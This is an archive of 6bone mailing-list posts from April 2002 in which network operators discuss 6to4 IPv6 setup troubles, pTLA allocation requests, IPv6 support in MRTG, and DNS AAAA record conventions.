> > > > > > If I was serious about experimenting with IPv6,
> > >
> > > Well, there are many people who are serious about experimenting, but
> the lack of
> > useable information is daunting.
> > > Mailing lists are ok for what they do - but often only confuse the
> issue. The
> > documents that are available on the
> > > internet now on the subject of V6 are nothing if not conflicting!
> > >
> > > The biggest pool of uses or potential users - are of course those
> already using
> > IPv4. This seems to then be the obvious
> > > starting point to use to build toward eventual take up of full IPv6.
> That time is of
> > course many many years away. The
> > > investment in training, software, hardware, plant and commerce is so
> great in the
> > IPv4 area that it will probably never
> > > be fully moved into the IPv6 area in our lifetimes.
> > >
> > > As I understand it, 6to4, using the assigned 2002: prefix was
> designed to enable
> > the use of IPv6 over the existing
> > > infrastructure. An admirable idea, and it appears to work well.
> However, the depth
> > of documentation on the subject again
> > > is very thin. Enough to get one host or router working if one is
> lucky, and precious
> > little available to enable a whole
> > > network.
> > > Experimenting? sure. I've been fiddling with it for weeks now on and
> off. I have
> > one host on my network working as a
> > > host/gateway - finally - I think. and the other host on the network
> that I set up in
> > the same experimental interest as a
> > > host only is supposed to autoconfigure and connect - well it
> doesn't. I'm using
> > FreeBSD which seems to be pretty common
> > > throughout the discussions, so it shouldn't be a mystery. But of
> course it is.
> > >
> > > But back to the topic. I've been around the Internet since it was
> AARNet, so I'm
> > not exactly new to all this. I'm very
> > > sure that if I'm having problems nutting it all out, there is little
> hope for quite a
> > few others. I know there are
> > > useful things like freenet6 out there, but there again - minimal
> documentation, and
> > it uses a completly different
> > > prefix, 3fff I think it is from memory. This only serves to further
> confuse the issue
> > for beginners.
> > >
> > > If 6to4 for a number of 'well known platforms' based on the 2002
> prefix - designed
> > as I understand it specifically to
> > > use the existing IPv4 networks - could be documented carefully and
> kept updated
> > it would server to increase interest on
> > > a much wider scale.
> > > I refer to the apparent ease of understanding that numbering system.
> 2002 is the
> > prefix that tells everyone that it's an
> > > address on an existing IPv4 network and probably is still being used
> for something
> > useful, like a web server. The next
> > > eight hex-numbers are the IPv4 number translated to hex of the
> machine that is
> > acting as the IPv6 host/gateway. the
> > > (cb01:6006 in my case) and the ::1 ( I Think) tells that it's the
> first host on the
> > internal IPv6 network. This is where
> > > it all starts to get grey here. Because the second host - which one
> would think was
> > numbered ::2 on that network can't
> > > be made to understand that. Any attempt to put that number on any of
> its
> > interfaces simply confuses it. Interesting
> > > though, both machines can talk to each other via the fe80:<hex-mac-
> > address>:<interface> which of couse is nothing to do
> > > with the 2002 prefix.
> > >
> > > Now - I've so far received over a dozen suggestions on how to get
> the two
> > machines talking to each other correctl, as
> > > well as to the internet, and every one has been different. I have a
> cardboard carton
> > full of printouts of the same.
> > > Variations of the same theme.
> > >
> > > now - I'm not digressing in that discussion above. It's to point out
> that if it is so
> > hard to set up an IPv6 network
> > > across an existing IPv4 network, using systems supposedly designed
> to facilitate
> > that, then no one will bother after the
> > > first few frustrating attempts.
> > > If the system isn't loaded too heavily, you should actually be able
> to connect to
> > http://ruby.chalmers.com.au Apache-2
> > > install page is all, on 2002:cb01:6006::1 Now, I'm not sure if it's
> actually listening
> > on the v6 port, put a ping6 to
> > > the address should work.
> > > It's the gateway/host/reouter whatever.
> > >
> > > s you can see, the origin is the HEX-MAC address of the other host.
> Which should
> > be 2002:cb01:6006::2 .....OR.... as
> > > someone said, it should be 2002:cb01:6005::1 But of course it would
> be if it were
> > standalone. But it's supposed to be on
> > > the same network as the 6006 one. You begin to see what I mean.
> > > $ ping6 ruby
> > > PING6(56=40+8+8 bytes) fe80::210:b5ff:fee4:4386%rl0 -->
> 2002:cb01:6006::1
> > > 16 bytes from 2002:cb01:6006::1, icmp_seq=0 hlim=64 time=0.913 ms
> > >
> > >
> > > So in conclusion - I suspect that very few people actually
> understand about
> > esoteric details like latency on pure IPv6
> > > machines. But I could point at a user group who I'm sure would love
> to get their
> > teeth into setting up any number of
> > > hosts, even virtual hosts, behind their one assigned IPv4 address.
> If someone could
> > come up  with something that was
> > > readable and useable on the subject of setting up 6to4. (and on
> FreeBSD in my
> > case.) I'm happy to contribute in any way
> > > I can, small as that may appear to the wizards of the pure IPv6
> world.
> > >
> > > If IPv6 is to be rolled out and not forgotten, people need to be
> able to implement it
> > on their existing networks.
> > >
> > > just my two cents worth,
> > > Robert Chalmers
> > > Quantum Radio
> > >
> > >
> > >
> > >
> > >
> > > > > > Pekka Savola wrote:
> > > > > > If I was serious about experimenting with IPv6, I sure would
> not
> > > > > > go overseas to find someone who might be willing to slice off
> a
> > > > > > part of a block.  However, if I was not serious, I wouldn't
> care if
> > > > > > all my IPv6 traffic to European countries crossed the
> > > > > Atlantic twice.
> > >
> > > > I personally use on day by day basis, IPv6 enabled:
> > > >  - SSH (PuTTY :)
> > > >  - SMTP
> > > >  - Quake 1 + 2*
> > > >  - HTTP
> > > >  - X
> > > >
> > > >
> > >
> > > > > guarantee that the 6bone will not be used for production.
> > > > You've got a point there :)
> > > > Though I think most people will profit from good latency.
> > >
> > >
> 


Dave wrote:

From 6bone-owner  Wed Apr 17 16:37:54 2002
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Date: Wed, 17 Apr 2002 19:34:33 -0400 (EDT)
From: Dave <dave@dave.tj>
Subject: Re: Newbie starting point :) WAS: WAS... Re: pTLA request for RMNET -
 review closes 23 April 2002 (fwd)
To: 6bone@ISI.EDU
Message-id: <200204172334.g3HNYZl16729@dave2.dave.tj>
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I also forgot to forward a copy of this message to the list :-(

 - Dave


Dave wrote:
>From dave Wed Apr 17 18:52:15 2002
Subject: Re: Newbie starting point :) WAS: WAS... Re: pTLA request for RMNET - review closes 23 April 2002
To: jeroen@unfix.org (Jeroen Massar)
Date: Wed, 17 Apr 2002 18:52:15 -0400 (EDT)
In-Reply-To: <003c01c1e408$6f424590$420d640a@unfix.org> from "Jeroen Massar" at Apr 15, 2002 01:02:17 AM
From: Dave <dave@dave.tj>
X-Mailer: ELM [version 2.5 PL3]
Content-Length: 3204      

Reply inline:

 - Dave


Jeroen Massar wrote:
> 
> Dave wrote:
> 
> > Nope, you're _not_ alone.  In fact, you've had much more luck than
> > I've had.  I finally gave up on getting it to work serveral 
> > months ago,
> <SNIP>
> 
> Wellps, I've changed the subject to the not very subtile 'newbie
> starting point'.
> I hope nobody gets offended by that but here we go:
Of course I'm offended, but who cares?  My goal here is to learn, and
... well, uh, yes, I guess I am a newbie :-(

> 
> For linux it's all quite easy, simply read Peter Bieringer's FAQ at:
> http://www.bieringer.de/linux/IPv6/index.html
I've read through that document God-knows-how-many times (almost everybody
points me at it), but it's not much use, primarily because it doesn't
explain anything with enough in-depth coverage for me to figure out
what's going on, and why my setup refuses to work the way his HOWTO says
it should work.

> 
> It mentions about everything, if you aren't comfortable with compiling
> your own tools,
> you can ofcourse always use things like Debian and/or RedHat, especially
> Debian is quite nice as it has all the tools in it.
I have never had anything against compiling my own tools.  (I've been
doing just that since before the existance of Win95, and I see no reason
to stop now.)

> (apt-get install traceroute6 etc ;) Oh and I shouldn't forget mentioning
> the Polish Linux Distribution (www.pld.org.pl/)
> Who have IPv6 as default and many patches for programs come from their
> hand! (RPM based distro btw ;)
> I personally favor Debian, but that's all about taste.
I'd rather stick with my old faithful Slackware (even though Slackware
itself no longer appears to be supporting the distro, which kinda sucks).

> If you want to compile things yourself you can ofcourse always steal the
> tarballs from the Debian servers.
> ftp://ftp.nl.debian.org/pub/linux/debian/pool/main/i/iputils/iputils_200
> 20124.orig.tar.gz or other mirrors.
> These are the original tarballs, so simply check www.debian.org which
> package contains what and leech the tarball.
That, I haven't tried yet ... I'll provide an update on my situation
after I've given that approach a shot.

> 
> Net/Free/Open/*/BSD: default support for IPv6 or simply leech the KAME
> iso's (www.kame.net)
I hate most of the *BSDs, because their totally user-unfriendly.
Slackware GNU/Linux was designed from the ground up to be easy to use,
which is the primary reason why I've always loved it.

> 
> And about getting an uplink to the rest of the IPv6 world:
> http://dmoz.org/editors/editcat.cgi?cat=Computers/Internet/Protocols/IP/
> IPng/IPv6_Access_Providers
There's plenty of info about that topic, and I've read quite a bit of it,
too.  I'm quite confident that once I can get my own systems to talk IPv6,
getting them to chat with the rest of the world will be a piece of cake.

> 
> and for all the news & many tunnels providers:
> http://hs247.com
> which is a good place to start too as it has many links to all kinds of
> IPv6 related stuff.
been there; done that ... mostly links to all the HOWTOs and FAQs I've
already found by other methods :-(

> 
> So where is the problem ? :)
LOL. . .

> 
> Greets,
>  Jeroen
> 



Dave wrote:

From 6bone-owner  Wed Apr 17 17:16:41 2002
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Date: Thu, 18 Apr 2002 11:16:15 +1100
From: Brett Pentland <brett.pentland@eng.monash.edu.au>
Subject: Re: ipv6 testing equipment???
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To: Koerpert Andreas <Andreas.Koerpert@icn.siemens.de>
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Agilent's Broadband Series Test System has this functionality and possibly
their Router Tester as well, though I haven't really had any experience with
that one.

Cheers,
Brett.

Koerpert Andreas wrote:
> 
> Hello 6bone folks,
> 
> does anybody have any knowledge or even practical experience with an IP protocol tester (a load-generation-and-analysis-type of machine, not a sniffer)
> that has the IPv6 protocol implemented? Any information is welcome.
> 
> regards,
> 
> Andreas Körpert
> 
> Andreas Körpert
> SIEMENS AG
> ICN WN OP TDC TS MC
> Tel.: +49-7251-73-3221
> fax: +49-7251-73-3939
> andreas.koerpert@icn.siemens.de


From 6bone-owner  Wed Apr 17 17:20:11 2002
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Date: Wed, 17 Apr 2002 20:16:50 -0400 (EDT)
From: Dave <dave@dave.tj>
Subject: Re: remove
In-reply-to: <6455284114.20020416013543@binity.com>
To: walter@binity.com (Walter Hop)
Cc: 6bone@ISI.EDU
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Obviously, I'm not the only one who's not exactly having the easiest
time in the world setting up IPv6. . .

 - Dave


Walter Hop wrote:
> 
> > remove
> 
> Where is the world coming to? :(
> 
> -- 
>  Walter Hop <walter@binity.com> | +31 6 24290808 | PGP keyid 0x84813998
> 


From 6bone-owner  Wed Apr 17 18:27:05 2002
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Date: Wed, 17 Apr 2002 18:26:51 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for NL-CONCEPTS6 - review closes 1 May 2002 
Cc: rh@concepts.nl
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6bone Folk,

NL-CONCEPTS6 has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 1 May 
2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?NL-CONCEPTS6>

<http://www.concepts-ict.nl>


Thanks,

Bob

PS: note that their ASN (AS12871) is listed as WB-NET which was 
'WestbrabantNet' a previous name for what is now Concepts ICT.

===
>Date: Sun, 14 Apr 2002 00:33:33 +0200 (CEST)
>Sender: psycho@leptob
>From: rh@concepts.nl
>To: fink@es.net
>Subject: pTLA request
>
>Hello,
>
>Please find hereunder Concepts ICT's pTLA request.
>
>--- pTLA request form ---
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.   During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>KG325-6BONE: Kees Guequierre
>RH672-6BONE: Richard Hartensveld
>3ffe:8114:2000:6a0::/60 is our inet6num
>NL-CONCEPTS6 is the ipv6-site object we use.
>MNT-CONCEPTS is our maintainer object in the 6bone registry.
>CPTS-6BONE is our Technical Role Account.
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>We have two main routers for IPv6. There is one Cisco 3620 at the head
>quarters in Breda (NL) where we peer over a tunnel to IPng.NL (AS8954).
>Recently we upgraded our AMS-IX router to an IPv6 capable IOS and are
>participating in the IPv6 shared medium. We have a session with AS8954
>(Intouch), AS12859 (Business Internet Trends), AS1200 (AMSIX) and AS21155
>(Proserve) over the shared medium.
>
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>The IPng.NL network delegation (a.6.0.0.0.0.2.4.1.1.8.e.f.f.3.ip6.int)
>runs on the following servers:
>dns.conceptsfa.nl (213.197.28.3)
>dns2.concepts.nl (213.197.30.28)
>We are running forward and reversed for amongst others
>wilderness.ipv6.concepts.nl (3ffe:8114:2000:a60:250:daff:fe36:c268)
>
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>Our public webservers www.concepts-ict.nl and games.concepts.nl serve both on
>IPv4 and IPv6.
>Also we are running an IPv4+IPv6 enabled quakeworld and quake2 server at
>game-2.concepts.nl
>/ 3FFE:8114:2000:6A0:250:DAFF:FE47:EE5 (With thanks to Viagenie).
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>Kees.Guequierre@concepts-ict.nl (KG325-6BONE) and
>Richard.Hartensveld@concepts-ict.nl (RH672-6BONE) are the administrators
>for our IPv6 deployment. Pim van Pelt (PBVP1-6BONE) will be assisting us
>with the roll-out at our ISP.
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>noc@concepts-ict.nl is the address we use for queries regarding network
>operations, including IPv6 matters.
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>We are an Internet Service Provider (Nationwide) that provides access to the
>internet to it's users through the use of Dialup, DSL and leased line 
>connections.
>We have an established userbase of around 150.000 users and plan to give
>these users IPv6 access as soon as possible.
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>We obide by all of the current practice of the 6BONE of which we intend
>to become an active participant in the near future.
>
>
>With kind regards,
>
>
>--
>---------------------------------
>Richard Hartensveld
>Concepts ICT
>St. Ignatiusstraat 265
>4817 KK  Breda
>tel. +31-76-5221555
>fax. +31-76-5310531



From 6bone-owner  Wed Apr 17 21:27:02 2002
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Subject: Re: remove
From: Ben Winslow <rain@bluecherry.net>
To: 6bone@ISI.EDU
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On Wed, 2002-04-17 at 19:16, Dave wrote:
> Obviously, I'm not the only one who's not exactly having the easiest
> time in the world setting up IPv6. . .
>=20
>  - Dave
>=20
>=20
> Walter Hop wrote:
> >=20
> > > remove
> >=20
> > Where is the world coming to? :(
> >=20
> > --=20
> >  Walter Hop <walter@binity.com> | +31 6 24290808 | PGP keyid 0x84813998
> >=20

You misunderstand--presumably, anyone with an interest in IPv6 (and just
about anyone who knows what IP *is*) is competent enough to remove
themselves from a mailing list running majordomo.

These are all ill-fated attempts.

--=20
Ben Winslow (rain@bluecherry.net) : In Nature there are neither
       System Administrator       : rewards nor punishments, there
   Bluecherry Internet Services   : are consequences. -- R.G.
    http://www.bluecherry.net/    : Ingersoll =20
          (573) 592-0800          :=20

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From 6bone-owner  Thu Apr 18 05:09:26 2002
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From: Rik van Riel <riel@conectiva.com.br>
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To: 6bone@ISI.EDU
Subject: Re: remove
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On 17 Apr 2002, Ben Winslow wrote:
> > Walter Hop wrote:
> > >
> > > > remove
> > >
> > > Where is the world coming to? :(
>
> You misunderstand--presumably, anyone with an interest in IPv6 (and just
> about anyone who knows what IP *is*) is competent enough to remove
> themselves from a mailing list running majordomo.
>
> These are all ill-fated attempts.

Yeah, but, but ... bell-labs ???


regards,

Rik
-- 
Bravely reimplemented by the knights who say "NIH".

http://www.surriel.com/		http://distro.conectiva.com/


From 6bone-owner  Thu Apr 18 05:39:19 2002
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I miss the days of clueserv...

From 6bone-owner  Thu Apr 18 13:10:49 2002
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Date: Thu, 18 Apr 2002 22:10:19 +0200 (CDT)
From: Michael Kjorling <michael@kjorling.com>
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To: robert@chalmers.com.au
cc: 6bone <6bone@ISI.EDU>, IPv6-Users <users@ipv6.org>
Subject: Re: Thanks for all the help folks. Finally on top of 6to4
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On Apr 18 2002 20:49 +1000, Robert wrote:

> Finally, after much gnashing of teeth, the penny dropped.
>
> Now I don't know if you all can see it from out there, but our network is
> now apparently "up" with 6to4.

Looks fairly OK to me:

> [michael@varg michael]$ ping6 cobalt-v6.chalmers.com.au
> PING cobalt-v6.chalmers.com.au (2002:cb01:6005:2:5054:5ff:fee3:e3a7): 56 data bytes
> 64 bytes from 2002:cb01:6005:2:5054:5ff:fee3:e3a7: icmp_seq=0 ttl=58 time=592.289 ms
> 64 bytes from 2002:cb01:6005:2:5054:5ff:fee3:e3a7: icmp_seq=2 ttl=58 time=654.645 ms
> 64 bytes from 2002:cb01:6005:2:5054:5ff:fee3:e3a7: icmp_seq=3 ttl=58 time=566.034 ms
>
> --- cobalt-v6.chalmers.com.au ping statistics ---
> 5 packets transmitted, 3 packets received, 40% packet loss
> round-trip min/avg/max = 566.034/604.322/654.645 ms
> [michael@varg michael]$


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Public key is at http://michael.kjorling.com/contact/pgp.html

iD8DBQE8vyg4KqN7/Ypw4z4RAsOGAKCz8CCrMLgZro0WWyCnP6/QE3YHNgCfZXVO
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From 6bone-owner  Thu Apr 18 20:20:26 2002
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To: Nathan Dorfman <nathan@rtfm.net>
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In-reply-to: nathan's message of Thu, 11 Apr 2002 00:21:51 -0400.
      <20020411002151.A98983@matrix.binary.net> 
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Subject: Re: 6bone connection in NYC? 
From: itojun@iijlab.net
Date: Fri, 19 Apr 2002 12:20:28 +0900
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>I would very much like to obtain a connection to the 6bone. I am
>on the Speakeasy residential network (the 64.81.196/24 one). My
>connection is a 1.1M Symmetric DSL with several hosts, all for
>"hobby" purposes... I'd like to be able to be respectably close
>to the backbone, but have no idea what the process is. Needless
>to say I'll be happy with whatever is considered appropriate. :)
>
>If you might be willing to pass me a tunnel, my endpoint would
>be phobos.rtfm.net (64.81.196.252), feel free to give it a try
>with traceroute or anything else.

	we can, under terms documented in
	http://playground.iijlab.net/6bone/6bone-policy.html.  the delay
	is very low, however, the route traverses at least 3 ASes, it seems.
	if we are the closest to you, please feel free to contact us.
	
itojun


% /usr/sbin/traceroute -q1  64.81.196.252
traceroute to 64.81.196.252 (64.81.196.252), 30 hops max, 40 byte packets
 1  nyc00.IIJ.Net (216.98.98.130)  0.520 ms
 2  nyc001bb00.IIJ.Net (216.98.97.5)  0.534 ms
 3  abn001bb00.IIJ.Net (216.98.96.157)  6.506 ms
 4  272.ATM4-0.BR3.DCA6.ALTER.NET (204.255.174.117)  9.426 ms
 5  0.so-3-1-0.XL2.DCA6.ALTER.NET (152.63.38.122)  9.545 ms
 6  0.so-0-0-0.TL2.DCA6.ALTER.NET (152.63.38.73)  9.809 ms
 7  0.so-6-0-0.TL2.NYC9.ALTER.NET (152.63.13.10)  14.006 ms
 8  0.so-1-0-0.XL2.NYC4.ALTER.NET (152.63.17.26)  14.468 ms
 9  0.so-7-0-0.XR4.NYC4.ALTER.NET (152.63.18.30)  14.344 ms
10  188.ATM7-0.GW7.NYC4.ALTER.NET (152.63.25.109)  15.466 ms
11  internap-gw.customer.alter.net (157.130.50.86)  15.655 ms
12  border28.ge3-1-bbnet1.nyc.pnap.net (209.191.128.97)  14.616 ms
13  spk-2-nyc.dsl-isp.net (209.191.132.36)  22.285 ms
14  phobos.rtfm.net (64.81.196.252)  21.478 ms


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From: "Yann-Ju Chu" <yjchui@cht.com.tw>
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Subject: MRTG of IPv6 version
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Hi:
    I have heard that there is MRTG of IPv6 version. Does anybody know =
where to get the software? Or, it is just a rumor!

Thanks
Yann-Ju Chu
ChungHwa Telecom. Co.

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IPv6 version. Does anybody know where to get the software? Or, it is =
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<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>Yann-Ju Chu</FONT></DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>ChungHwa Telecom. =
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> Yann-Ju Chu wrote:
> I have heard that there is MRTG of IPv6 version. Does anybody know
where to
> get the software? Or, it is just a rumor!
=20
Interesting question. Note that if the router or device you want to
monitor is dual-stack, you can use the v4 of version of MRTG to query
the v6 OIDs.
=20
Michel.

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<p class=3DMsoNormal><font size=3D3 color=3Dnavy face=3DPMingLiU><span
style=3D'font-size:12.0pt;color:navy'>&gt; <span =
class=3DSpellE>Yann-Ju</span> <span
class=3DSpellE>Chu</span> wrote:<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D3 color=3Dnavy face=3DPMingLiU><span
style=3D'font-size:12.0pt;color:navy'>&gt; I have heard that there is =
MRTG of
IPv6 version. Does anybody know where to<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D3 color=3Dnavy face=3DPMingLiU><span
style=3D'font-size:12.0pt;color:navy'>&gt; get the software? Or, it is =
just a
rumor!<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D3 color=3Dnavy face=3DPMingLiU><span
style=3D'font-size:12.0pt;color:navy'><o:p>&nbsp;</o:p></span></font></p>=


<p class=3DMsoNormal><span class=3DGramE><font size=3D3 color=3Dnavy =
face=3DPMingLiU><span
style=3D'font-size:12.0pt;color:navy'>Interesting =
question.</span></font></span><font
color=3Dnavy><span style=3D'color:navy'> Note that if the router or =
device you want
to monitor is dual-stack, you can use the v4 of version of MRTG to query =
the v6
OIDs.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D3 color=3Dnavy face=3DPMingLiU><span
style=3D'font-size:12.0pt;color:navy'><o:p>&nbsp;</o:p></span></font></p>=


<p class=3DMsoNormal><font size=3D3 color=3Dnavy face=3DPMingLiU><span
style=3D'font-size:12.0pt;color:navy'>Michel.<o:p></o:p></span></font></p=
>

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From: Pim van Pelt <pim@ipng.nl>
To: Yann-Ju Chu <yjchui@cht.com.tw>
Cc: 6bone@ISI.EDU
Subject: Re: MRTG of IPv6 version
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On Fri, Apr 19, 2002 at 01:19:31PM +0800, Yann-Ju Chu wrote:
| Hi:
|     I have heard that there is MRTG of IPv6 version. Does anybody know where to get the software? Or, it is just a rumor!
MRTG itself does not actually look at IP or IPv6. IIRC it simply reads
frame counters from ports of routers and switches. However, you can make
MRTG (or RRDTool) graph just about anything, and of course IPv6 is
possible.

Depending on your SNMP MIB (in the case of a router) or local scripts
(in the case of a computer), you can let MRTG graph traffic indeed. You
may want to take a look at what we've done at:
	http://www.ipng.nl/users2.php3
and click on a user and then on 'Traffic' in the menu to your left.

Or to see Jeroen Massar's statistics:
	http://www.ipng.nl/user.php3?hdl=JRM1-6BONE&act=traffic

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Fri Apr 19 02:29:19 2002
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
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Greetings,

OK. Did a 'delete' a little bit to fast; so I'll have to reply without
having the actual message.

Concerning the question about MRTG and IPv6.
In MRTG, there is an option to run 'external' programs.

In you rmrtg-config, you just add a line
Target[something]: `/path/to/some/command some-parameters` (mind the
BACK-quotes).

The program must return 4 lines of text:
- datafield 1 (usually 'in')
- datafield 2 (usually 'out')
- uptime (text)
- name of device.

So, overthere, you can use a program that is IPv6 enabled.

I actually use this in another way:

I have an external program that runs completely independant of MRTG (it's
actually an external module of "big brother", see http://bb4.com/); which
generates a small file containing these 4 lines (as explained above).

In mrtg (which I use just for visualisation), I just have
Target [something]: `cat file`

In that way; you can have a single program that fetches some data (by
telneting into the box); retrieve a lot of data at-ones; generate a large
number of 'data-files'; and use mrtg/rrdtool to visualise them (by just
doing a "cat" of all these data-files).
I do this this way; as this reduces the load on the devices (you just do a
single telnet onto the netwerk-device) and it also reduced the load on the
mrtg-server (starting-up a large number of very small perl-script seams to
eat a lot of CPU).


Just my ¤ 0.05 of thoughts.

Cheerio! Kr. Bonne.
--
KB905-RIPE                                       Belgacom  IP networking
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff)  Internet, IP and IP/VPN
kristoff.bonne@skypro.be                         Faxbox :  +32 2 2435122


From 6bone-owner  Fri Apr 19 03:07:20 2002
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From: Dave Wilson <dave.wilson@heanet.ie>
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Subject: Re: MRTG of IPv6 version
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Yann-Ju Chu wrote:
> Hi:
> 
>     I have heard that there is MRTG of IPv6 version. Does anybody know 
> where to get the software? Or, it is just a rumor!

If I try to feed MRTG (on BSD) a name that only has a AAAA record, I get 
an error from SNMP_util.pm (cannot resolve "hostname" to IP address) - 
so I guess an upgrade to this module is a prerequisite. Does anyone know 
if the relevant perl modules are being upgraded?

Dave


From 6bone-owner  Fri Apr 19 04:18:44 2002
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Subject: Re: MRTG of IPv6 version
Date: Fri, 19 Apr 2002 13:19:59 +0200
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hi there,


> On Fri, Apr 19, 2002 at 01:19:31PM +0800, Yann-Ju Chu wrote:
> | Hi:
> |     I have heard that there is MRTG of IPv6 version. Does anybody know where to get the software? Or, it is just a rumor!
> MRTG itself does not actually look at IP or IPv6. IIRC it simply reads
> frame counters from ports of routers and switches.

uhm, pim, i think he means that if mrtg can use ipv6 for quering like
1.3.6.1.4.1.9.2.1.57.0:communitypw@[2001:7b0:0:21::1] or so :)

afaik there is no ipv6 patch for mrtg, but i can be wrong. perhabs someone asks
tobias directly? ;)

> groet,
> Pim

bye, 
--------- andreas 'randy' weinberger ---------

         internet system engineer,
 php development, sun microsystems workgroup
   computing expert & digitale videotechnik
 
  CompleTel GmbH (http://www.completel.de/)
-------



From 6bone-owner  Fri Apr 19 04:59:56 2002
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        "freebsd-stable" <freebsd-stable@freebsd.org>
In-reply-to: robert's message of Fri, 19 Apr 2002 21:35:01 +1000.
      <002501c1e796$65f1a350$1a6001cb@chalmers.com.au> 
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Subject: Re: A DNS question re 6to6/IPv6 host IN A records. 
From: itojun@iijlab.net
Date: Fri, 19 Apr 2002 21:00:00 +0900
Message-ID: <5288.1019217600@itojun.org>
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>In the forward/reverse zones on a 6to4 setup, should I have
>nanguo          IN A                203.1.96.5
>nanguo-v6      IN AAAA         2002:cb01:6005:2::1
>or
>nanguo          IN A                203.1.96.5
>nanguo          IN AAAA         2002:cb01:6005:2::1
>When referring to the particular host ?
>Either works - but which is ... errr... correct?

	i recommend the latter, definitely.  with the latter you will be able
	to transition to IPv6 much smoother.

itojun

From 6bone-owner  Fri Apr 19 05:04:33 2002
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Subject: Re: MRTG of IPv6 version 
From: itojun@iijlab.net
Date: Fri, 19 Apr 2002 21:04:37 +0900
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>>     I have heard that there is MRTG of IPv6 version. Does anybody know 
>> where to get the software? Or, it is just a rumor!
>If I try to feed MRTG (on BSD) a name that only has a AAAA record, I get 
>an error from SNMP_util.pm (cannot resolve "hostname" to IP address) - 
>so I guess an upgrade to this module is a prerequisite. Does anyone know 
>if the relevant perl modules are being upgraded?

	"MRTG for IPv6" can mean two things:
	- querying IPv6 related MIBs (over IPv4), or
	- querying MIBs over IPv6 transport (for any kind of MIBs).
	you are apparently talking about the latter.  many of other
	postings are talking about the former.

	for the former, the current MRTG works just fine - you just need to
	specify correct MIBs.
	for the latter, I guess SNMP_util.pm is not ready for IPv6.  you would
	need to use net-snmp 5.0 (now in beta track).

	as others have mentioned, MRTG is a very generic tool - if you invoke
	apps that generate one-liner result MRTG will graph it.  so you can
	combine other tools to get around problems.

itojun

From 6bone-owner  Fri Apr 19 06:47:01 2002
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From: Bernhard Schmidt <berni@birkenwald.de>
To: 6bone <6bone@ISI.EDU>, ipv6users <users@ipv6.org>
Subject: Re: A DNS question re 6to6/IPv6 host IN A records.
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On Fri, Apr 19, 2002 at 09:35:01PM +1000, Robert wrote:

> In the forward/reverse zones on a 6to4 setup, should I have
> 
> nanguo          IN A                203.1.96.5
> nanguo-v6      IN AAAA         2002:cb01:6005:2::1

Not 6to4 here, but this should make no difference. I'm normally using
the following syntax (I don't know anymore where I have seen it)

frigg                   IN      CNAME   frigg.v4v6
frigg.ipv4              IN      A       195.143.230.220
frigg.v4v6              IN      A       195.143.230.220
                        IN      AAAA    2001:768:1001:1::220
frigg.ipv6              IN      AAAA    2001:768:1001:1::220

Therefore I can select between IPv{4|6}-only and dualstack making
dualstack default.

-- 
   bye bye
     Bernhard

From 6bone-owner  Fri Apr 19 06:54:06 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: itojun@iijlab.net
cc: Robert <robert@chalmers.com.au>, 6bone <6bone@ISI.EDU>,
        ipv6users <users@ipv6.org>,
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Subject: Re: A DNS question re 6to6/IPv6 host IN A records. 
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On Fri, 19 Apr 2002 itojun@iijlab.net wrote:
> >In the forward/reverse zones on a 6to4 setup, should I have
> >nanguo          IN A                203.1.96.5
> >nanguo-v6      IN AAAA         2002:cb01:6005:2::1
> >or
> >nanguo          IN A                203.1.96.5
> >nanguo          IN AAAA         2002:cb01:6005:2::1
> >When referring to the particular host ?
> >Either works - but which is ... errr... correct?
> 
> 	i recommend the latter, definitely.  with the latter you will be able
> 	to transition to IPv6 much smoother.

